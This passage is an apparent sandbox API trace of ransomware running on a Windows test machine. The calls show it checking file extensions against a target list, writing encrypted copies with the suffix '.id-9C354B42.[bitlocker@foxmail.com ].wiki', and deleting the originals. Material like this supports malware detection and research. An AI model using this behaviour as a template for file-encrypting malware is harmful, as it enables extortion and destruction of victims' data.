lstrcmpiW (lpString1=".pdf", lpString2=".wpl") returned -1 [0181.569] lstrlenW (lpString=".xls") returned 4 [0181.569] lstrcmpiW (lpString1=".xls", lpString2=".wpl") returned 1 [0181.569] lstrlenW (lpString=".xlsx") returned 5 [0181.569] lstrcmpiW (lpString1=".xlsx", lpString2="k.wpl") returned -1 [0181.569] lstrlenW (lpString=".ppt") returned 4 [0181.569] lstrcmpiW (lpString1=".ppt", lpString2=".wpl") returned -1 [0181.569] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\07_TV_recorded_in_the_last_week.wpl") returned 132 [0181.569] lstrlenW (lpString=".zip") returned 4 [0181.569] lstrcmpiW (lpString1=".zip", lpString2=".wpl") returned 1 [0181.569] lstrlenW (lpString=".rar") returned 4 [0181.569] lstrcmpiW (lpString1=".rar", lpString2=".wpl") returned -1 [0181.569] lstrlenW (lpString=".bz2") returned 4 [0181.569] lstrcmpiW (lpString1=".bz2", lpString2=".wpl") returned -1 [0181.569] lstrlenW (lpString=".7z") returned 3 [0181.569] lstrcmpiW (lpString1=".7z", lpString2="wpl") returned -1 [0181.569] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\07_TV_recorded_in_the_last_week.wpl") returned 132 [0181.569] lstrlenW (lpString=".dbf") returned 4 [0181.569] lstrcmpiW (lpString1=".dbf", lpString2=".wpl") returned -1 [0181.569] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\07_TV_recorded_in_the_last_week.wpl") returned 132 [0181.570] lstrlenW (lpString=".1cd") returned 4 [0181.570] lstrcmpiW (lpString1=".1cd", lpString2=".wpl") returned -1 [0181.570] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\07_TV_recorded_in_the_last_week.wpl") returned 132 [0181.570] lstrlenW (lpString=".jpg") returned 4 [0181.570] lstrcmpiW (lpString1=".jpg", lpString2=".wpl") returned -1 [0181.570] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\07_TV_recorded_in_the_last_week.wpl") returned 132 [0181.570] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\07_TV_recorded_in_the_last_week.wpl") returned 132 [0181.570] lstrlenW (lpString=".doc") returned 4 [0181.570] lstrcmpiW (lpString1=".doc", lpString2=".wpl") returned -1 [0181.570] lstrlenW (lpString=".docx") returned 5 [0181.570] lstrcmpiW (lpString1=".docx", lpString2="k.wpl") returned -1 [0181.570] lstrlenW (lpString=".pdf") returned 4 [0181.570] lstrcmpiW (lpString1=".pdf", lpString2=".wpl") returned -1 [0181.570] lstrlenW (lpString=".xls") returned 4 [0181.570] lstrcmpiW (lpString1=".xls", lpString2=".wpl") returned 1 [0181.570] lstrlenW (lpString=".xlsx") returned 5 [0181.570] lstrcmpiW (lpString1=".xlsx", lpString2="k.wpl") returned -1 [0181.570] lstrlenW (lpString=".ppt") returned 4 [0181.570] lstrcmpiW (lpString1=".ppt", lpString2=".wpl") returned -1 [0181.570] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\07_TV_recorded_in_the_last_week.wpl") returned 132 [0181.570] lstrlenW (lpString=".zip") returned 4 [0181.570] lstrcmpiW (lpString1=".zip", lpString2=".wpl") returned 1 [0181.570] lstrlenW (lpString=".rar") returned 4 [0181.570] lstrcmpiW (lpString1=".rar", lpString2=".wpl") returned -1 [0181.570] lstrlenW (lpString=".bz2") returned 4 [0181.570] lstrcmpiW (lpString1=".bz2", lpString2=".wpl") returned -1 [0181.570] lstrlenW (lpString=".7z") returned 3 [0181.570] lstrcmpiW (lpString1=".7z", lpString2="wpl") returned -1 [0181.570] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\07_TV_recorded_in_the_last_week.wpl") returned 132 [0181.570] lstrlenW (lpString=".dbf") returned 4 [0181.570] lstrcmpiW (lpString1=".dbf", lpString2=".wpl") returned -1 [0181.570] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\07_TV_recorded_in_the_last_week.wpl") returned 132 [0181.571] lstrlenW (lpString=".1cd") returned 4 [0181.571] lstrcmpiW (lpString1=".1cd", lpString2=".wpl") returned -1 [0181.571] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\07_TV_recorded_in_the_last_week.wpl") returned 132 [0181.571] lstrlenW (lpString=".jpg") returned 4 [0181.571] lstrcmpiW (lpString1=".jpg", lpString2=".wpl") returned -1 [0181.571] lstrcmpiW (lpString1=".FSD", lpString2=".wiki") returned -1 [0181.571] lstrlenW (lpString="FSD-{48508C83-EC67-468F-AA1F-6F3CAF625658}.FSD") returned 46 [0181.571] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Office\\14.0\\OfficeFileCache\\FSD-{48508C83-EC67-468F-AA1F-6F3CAF625658}.FSD" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\office\\14.0\\officefilecache\\fsd-{48508c83-ec67-468f-aa1f-6f3caf625658}.fsd"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0181.905] GetFileSizeEx (in: hFile=0x198, lpFileSize=0x301ff1c | out: lpFileSize=0x301ff1c*=131072) returned 1 [0181.905] CloseHandle (hObject=0x198) returned 1 [0181.922] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Office\\14.0\\OfficeFileCache\\FSD-{48508C83-EC67-468F-AA1F-6F3CAF625658}.FSD" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\office\\14.0\\officefilecache\\fsd-{48508c83-ec67-468f-aa1f-6f3caf625658}.fsd")) returned 0x2020 [0181.922] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Office\\14.0\\OfficeFileCache\\FSD-{48508C83-EC67-468F-AA1F-6F3CAF625658}.FSD.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\office\\14.0\\officefilecache\\fsd-{48508c83-ec67-468f-aa1f-6f3caf625658}.fsd.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0181.922] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Office\\14.0\\OfficeFileCache\\FSD-{48508C83-EC67-468F-AA1F-6F3CAF625658}.FSD" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\office\\14.0\\officefilecache\\fsd-{48508c83-ec67-468f-aa1f-6f3caf625658}.fsd"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0181.922] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0181.922] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0181.922] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Office\\14.0\\OfficeFileCache\\FSD-{48508C83-EC67-468F-AA1F-6F3CAF625658}.FSD.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\office\\14.0\\officefilecache\\fsd-{48508c83-ec67-468f-aa1f-6f3caf625658}.fsd.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x158 [0181.922] GetLastError () returned 0x0 [0181.922] ReadFile (in: hFile=0x198, lpBuffer=0x3c00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c00020*, lpNumberOfBytesRead=0x301fed4*=0x20000, lpOverlapped=0x0) returned 1 [0181.928] WriteFile (in: hFile=0x158, lpBuffer=0x3c00020*, nNumberOfBytesToWrite=0x20010, lpNumberOfBytesWritten=0x301fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c00020*, lpNumberOfBytesWritten=0x301fc9c*=0x20010, lpOverlapped=0x0) returned 1 [0181.930] ReadFile (in: hFile=0x198, lpBuffer=0x3c00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c00020*, lpNumberOfBytesRead=0x301fed4*=0x0, lpOverlapped=0x0) returned 1 [0181.931] WriteFile (in: hFile=0x158, lpBuffer=0x3c00020*, nNumberOfBytesToWrite=0x130, lpNumberOfBytesWritten=0x301fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c00020*, lpNumberOfBytesWritten=0x301fc9c*=0x130, lpOverlapped=0x0) returned 1 [0181.931] SetEndOfFile (hFile=0x158) returned 1 [0181.931] CloseHandle (hObject=0x158) returned 1 [0181.931] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0181.931] SetEndOfFile (hFile=0x198) returned 1 [0181.932] CloseHandle (hObject=0x198) returned 1 [0181.932] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Office\\14.0\\OfficeFileCache\\FSD-{48508C83-EC67-468F-AA1F-6F3CAF625658}.FSD.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0181.932] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Office\\14.0\\OfficeFileCache\\FSD-{48508C83-EC67-468F-AA1F-6F3CAF625658}.FSD" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\office\\14.0\\officefilecache\\fsd-{48508c83-ec67-468f-aa1f-6f3caf625658}.fsd")) returned 1 [0181.933] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Office\\14.0\\OfficeFileCache\\FSD-{48508C83-EC67-468F-AA1F-6F3CAF625658}.FSD") returned 128 [0181.933] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Office\\14.0\\OfficeFileCache\\FSD-{48508C83-EC67-468F-AA1F-6F3CAF625658}.FSD") returned 128 [0181.933] lstrlenW (lpString=".doc") returned 4 [0181.933] lstrcmpiW (lpString1=".doc", lpString2=".FSD") returned -1 [0181.933] lstrlenW (lpString=".docx") returned 5 [0181.933] lstrcmpiW (lpString1=".docx", lpString2="}.FSD") returned -1 [0181.933] lstrlenW (lpString=".pdf") returned 4 [0181.933] lstrcmpiW (lpString1=".pdf", lpString2=".FSD") returned 1 [0181.933] lstrlenW (lpString=".xls") returned 4 [0181.933] lstrcmpiW (lpString1=".xls", lpString2=".FSD") returned 1 [0181.933] lstrlenW (lpString=".xlsx") returned 5 [0181.933] lstrcmpiW (lpString1=".xlsx", lpString2="}.FSD") returned -1 [0181.933] lstrlenW (lpString=".ppt") returned 4 [0181.933] lstrcmpiW (lpString1=".ppt", lpString2=".FSD") returned 1 [0181.933] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Office\\14.0\\OfficeFileCache\\FSD-{48508C83-EC67-468F-AA1F-6F3CAF625658}.FSD") returned 128 [0181.933] lstrlenW (lpString=".zip") returned 4 [0181.933] lstrcmpiW (lpString1=".zip", lpString2=".FSD") returned 1 [0181.933] lstrlenW (lpString=".rar") returned 4 [0181.933] lstrcmpiW (lpString1=".rar", lpString2=".FSD") returned 1 [0181.933] lstrlenW (lpString=".bz2") returned 4 [0181.933] lstrcmpiW (lpString1=".bz2", lpString2=".FSD") returned -1 [0181.933] lstrlenW (lpString=".7z") returned 3 [0181.933] lstrcmpiW (lpString1=".7z", lpString2="FSD") returned -1 [0181.933] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Office\\14.0\\OfficeFileCache\\FSD-{48508C83-EC67-468F-AA1F-6F3CAF625658}.FSD") returned 128 [0181.933] lstrlenW (lpString=".dbf") returned 4 [0181.933] lstrcmpiW (lpString1=".dbf", lpString2=".FSD") returned -1 [0181.933] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Office\\14.0\\OfficeFileCache\\FSD-{48508C83-EC67-468F-AA1F-6F3CAF625658}.FSD") returned 128 [0181.933] lstrlenW (lpString=".1cd") returned 4 [0181.933] lstrcmpiW (lpString1=".1cd", lpString2=".FSD") returned -1 [0181.933] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Office\\14.0\\OfficeFileCache\\FSD-{48508C83-EC67-468F-AA1F-6F3CAF625658}.FSD") returned 128 [0181.933] lstrlenW (lpString=".jpg") returned 4 [0181.934] lstrcmpiW (lpString1=".jpg", lpString2=".FSD") returned 1 [0181.934] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Office\\14.0\\OfficeFileCache\\FSD-{48508C83-EC67-468F-AA1F-6F3CAF625658}.FSD") returned 128 [0181.934] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Office\\14.0\\OfficeFileCache\\FSD-{48508C83-EC67-468F-AA1F-6F3CAF625658}.FSD") returned 128 [0181.934] lstrlenW (lpString=".doc") returned 4 [0181.934] lstrcmpiW (lpString1=".doc", lpString2=".FSD") returned -1 [0181.934] lstrlenW (lpString=".docx") returned 5 [0181.934] lstrcmpiW (lpString1=".docx", lpString2="}.FSD") returned -1 [0181.934] lstrlenW (lpString=".pdf") returned 4 [0181.934] lstrcmpiW (lpString1=".pdf", lpString2=".FSD") returned 1 [0181.934] lstrlenW (lpString=".xls") returned 4 [0181.934] lstrcmpiW (lpString1=".xls", lpString2=".FSD") returned 1 [0181.934] lstrlenW (lpString=".xlsx") returned 5 [0181.934] lstrcmpiW (lpString1=".xlsx", lpString2="}.FSD") returned -1 [0181.934] lstrlenW (lpString=".ppt") returned 4 [0181.934] lstrcmpiW (lpString1=".ppt", lpString2=".FSD") returned 1 [0181.934] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Office\\14.0\\OfficeFileCache\\FSD-{48508C83-EC67-468F-AA1F-6F3CAF625658}.FSD") returned 128 [0181.934] lstrlenW (lpString=".zip") returned 4 [0181.934] lstrcmpiW (lpString1=".zip", lpString2=".FSD") returned 1 [0181.934] lstrlenW (lpString=".rar") returned 4 [0181.934] lstrcmpiW (lpString1=".rar", lpString2=".FSD") returned 1 [0181.934] lstrlenW (lpString=".bz2") returned 4 [0181.934] lstrcmpiW (lpString1=".bz2", lpString2=".FSD") returned -1 [0181.934] lstrlenW (lpString=".7z") returned 3 [0181.934] lstrcmpiW (lpString1=".7z", lpString2="FSD") returned -1 [0181.934] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Office\\14.0\\OfficeFileCache\\FSD-{48508C83-EC67-468F-AA1F-6F3CAF625658}.FSD") returned 128 [0181.934] lstrlenW (lpString=".dbf") returned 4 [0181.934] lstrcmpiW (lpString1=".dbf", lpString2=".FSD") returned -1 [0181.934] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Office\\14.0\\OfficeFileCache\\FSD-{48508C83-EC67-468F-AA1F-6F3CAF625658}.FSD") returned 128 [0181.934] lstrlenW (lpString=".1cd") returned 4 [0181.934] lstrcmpiW (lpString1=".1cd", lpString2=".FSD") returned -1 [0181.934] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Office\\14.0\\OfficeFileCache\\FSD-{48508C83-EC67-468F-AA1F-6F3CAF625658}.FSD") returned 128 [0181.934] lstrlenW (lpString=".jpg") returned 4 [0181.934] lstrcmpiW (lpString1=".jpg", lpString2=".FSD") returned 1 [0181.935] lstrlenW (lpString=".id-") returned 4 [0181.935] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x681618 | out: hHeap=0x630000) returned 1 [0181.935] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6ae1b8 | out: hHeap=0x630000) returned 1 [0181.935] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x70ffd0 | out: hHeap=0x630000) returned 1 [0181.936] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3b00048 | out: hHeap=0x630000) returned 1 [0181.936] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3c00020 | out: hHeap=0x630000) returned 1 [0181.940] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x681600 | out: hHeap=0x630000) returned 1 [0181.941] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10) returned 0x681600 [0181.941] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x681600, Size=0x20) returned 0x3bf5e50 [0181.941] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10) returned 0x681600 [0181.941] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x681600, Size=0x20) returned 0x3bf5e78 [0181.941] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x762e0000 [0181.995] GetProcAddress (hModule=0x762e0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x7630d650 [0181.995] Wow64DisableWow64FsRedirection (in: OldValue=0x301ff58 | out: OldValue=0x301ff58*=0x1) returned 1 [0181.995] lstrlenW (lpString="kernel32.dll") returned 12 [0181.995] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3bf5e78 | out: hHeap=0x630000) returned 1 [0181.995] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0181.996] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3bf5e50 | out: hHeap=0x630000) returned 1 Thread: id = 339 os_tid = 0x7a8 [0147.786] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10000) returned 0x3b10260 [0147.787] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10000) returned 0x3b20268 [0147.787] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10) returned 0x681630 [0147.787] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x6) returned 0x6ae1c8 [0147.787] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10) returned 0x681648 [0147.787] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x100000) returned 0x3d10020 [0147.787] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10) returned 0x681660 [0147.787] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x681660, Size=0x20) returned 0x69e670 [0147.787] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10) returned 0x681660 [0147.787] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x681660, Size=0x20) returned 0x69e6c0 [0147.787] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x762e0000 [0147.788] GetProcAddress (hModule=0x762e0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x7630d650 [0147.788] Wow64DisableWow64FsRedirection (in: OldValue=0x315ff58 | out: OldValue=0x315ff58*=0x0) returned 1 [0147.788] lstrlenW (lpString="kernel32.dll") returned 12 [0147.788] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x69e670 | out: hHeap=0x630000) returned 1 [0147.788] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0147.788] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x69e6c0 | out: hHeap=0x630000) returned 1 [0147.788] Sleep (dwMilliseconds=0x64) [0147.970] Sleep (dwMilliseconds=0x64) [0148.154] lstrcmpiW (lpString1=".avi", lpString2=".wiki") returned -1 [0148.154] lstrlenW (lpString="boxed-correct.avi") returned 17 [0148.154] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-correct.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d4 [0148.556] GetFileSizeEx (in: hFile=0x1d4, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=89600) returned 1 [0148.556] CloseHandle (hObject=0x1d4) returned 1 [0148.556] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-correct.avi")) returned 0x20 [0148.556] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-correct.avi.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0148.556] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-correct.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0148.556] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0148.556] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0148.556] lstrlenW (lpString=".doc") returned 4 [0148.556] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0148.556] lstrlenW (lpString=".docx") returned 5 [0148.556] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1 [0148.556] lstrlenW (lpString=".pdf") returned 4 [0148.556] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0148.556] lstrlenW (lpString=".xls") returned 4 [0148.556] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0148.556] lstrlenW (lpString=".xlsx") returned 5 [0148.556] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1 [0148.556] lstrlenW (lpString=".ppt") returned 4 [0148.557] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0148.557] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0148.557] lstrlenW (lpString=".zip") returned 4 [0148.557] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0148.557] lstrlenW (lpString=".rar") returned 4 [0148.557] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0148.557] lstrlenW (lpString=".bz2") returned 4 [0148.557] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0148.557] lstrlenW (lpString=".7z") returned 3 [0148.557] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0148.557] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0148.557] lstrlenW (lpString=".dbf") returned 4 [0148.557] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0148.557] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0148.557] lstrlenW (lpString=".1cd") returned 4 [0148.557] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0148.557] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0148.557] lstrlenW (lpString=".jpg") returned 4 [0148.557] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0148.557] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0148.557] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0148.557] lstrlenW (lpString=".doc") returned 4 [0148.557] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0148.557] lstrlenW (lpString=".docx") returned 5 [0148.557] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1 [0148.557] lstrlenW (lpString=".pdf") returned 4 [0148.557] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0148.557] lstrlenW (lpString=".xls") returned 4 [0148.557] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0148.557] lstrlenW (lpString=".xlsx") returned 5 [0148.557] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1 [0148.557] lstrlenW (lpString=".ppt") returned 4 [0148.557] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0148.558] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0148.558] lstrlenW (lpString=".zip") returned 4 [0148.558] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0148.558] lstrlenW (lpString=".rar") returned 4 [0148.558] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0148.558] lstrlenW (lpString=".bz2") returned 4 [0148.558] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0148.558] lstrlenW (lpString=".7z") returned 3 [0148.558] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0148.558] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0148.558] lstrlenW (lpString=".dbf") returned 4 [0148.558] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0148.558] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0148.558] lstrlenW (lpString=".1cd") returned 4 [0148.558] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0148.558] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0148.558] lstrlenW (lpString=".jpg") returned 4 [0148.558] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0148.558] lstrcmpiW (lpString1=".avi", lpString2=".wiki") returned -1 [0148.558] lstrlenW (lpString="correct.avi") returned 11 [0148.558] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\correct.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d4 [0148.559] GetFileSizeEx (in: hFile=0x1d4, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=197120) returned 1 [0148.559] CloseHandle (hObject=0x1d4) returned 1 [0148.559] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\correct.avi")) returned 0x20 [0148.559] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\correct.avi.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\correct.avi.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0148.559] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\correct.avi" (normalized: 